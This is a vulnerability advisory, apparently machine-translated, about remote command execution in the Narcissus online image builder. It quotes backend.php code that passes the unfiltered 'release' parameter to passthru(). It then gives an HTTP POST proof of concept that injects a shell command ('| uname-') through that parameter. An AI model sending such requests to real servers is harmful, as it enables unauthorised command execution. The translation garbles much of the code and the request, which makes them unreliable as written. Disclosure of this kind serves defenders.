Narcissus Remote Command Execution Vulnerability

Release date:
Updated on: 2012-4 4

Affected Systems:
Angstrom-distribution Narcissus
Description:
--------------------------------------------------------------------------------
Narcissus is an online image assembler.

Narcissus has a security vulnerability in implementation. It does not properly filter the 'release' parameter values in nartcissus/backend. php, which can cause remote execution of arbitrary system commands.

<* Source: vendor

Link: http://www.osvdb.org/87410
Http://www.exploit-db.com/exploits/22709/
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

[Remote Command Execution]
#
# File:/narcissus/backend. php (lines: 10-183 ):
# .. Cut ..
# If (isset ($ _ POST ["action"]) & $ _ POST ["action"]! = ""){
# $ Action = $ _ POST ["action"]; // 1
#} Else {
# Print "Invalid action: $ action ";
# Exit;
#}
#
# If (isset ($ _ POST ["machine"]) {
# $ Machine = escapeshellcmd (basename ($ _ POST ["machine"]); // 2
#} Else {
# Print "Invalid machine ";
# Exit;
#}
# .. Cut ..
# If (isset ($ _ POST ["release"]) & $ _ POST ["release"]! = ""){
# $ Release = $ _ POST ["release"]; // 3
#} Else {
# $ Release = "stable ";
#}
# .. Cut ..
# Switch ($ action ){
# .. Cut ..
# Case "configure_image": // 4
# Print "sorting ing \ n ";
# Configure_image ($ machine, $ name, $ release); // 5
# Break;
# .. Cut ..
# Function configure_image ($ machine, $ name, $ release ){
# Print "Machine: $ machine, name: $ name \ n ";
# Passthru ("scripts/configure-image.sh $ machine $ name-image $ release & exit"); // 6 [RCE]
#}
# .. Cut ..
#
# Vuln:
# Http: // localhost/narcissus/backend. php
#
# POST/narcissus/backend. php HTTP/1.1
# Host: localhost
# User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/16.0
# Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8
# Accept-Language: pl, en-us; q = 0.7, en; q = 0.3
# Accept-Encoding: gzip, deflate
# Connection: keep-alive
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 50
# Machine = 0 & action = configure_image & release = | uname-
#
### [Dun/24, 2012] ############################## #######

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Angstrom-distribution
---------------------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Https://github.com/Angstrom-distribution/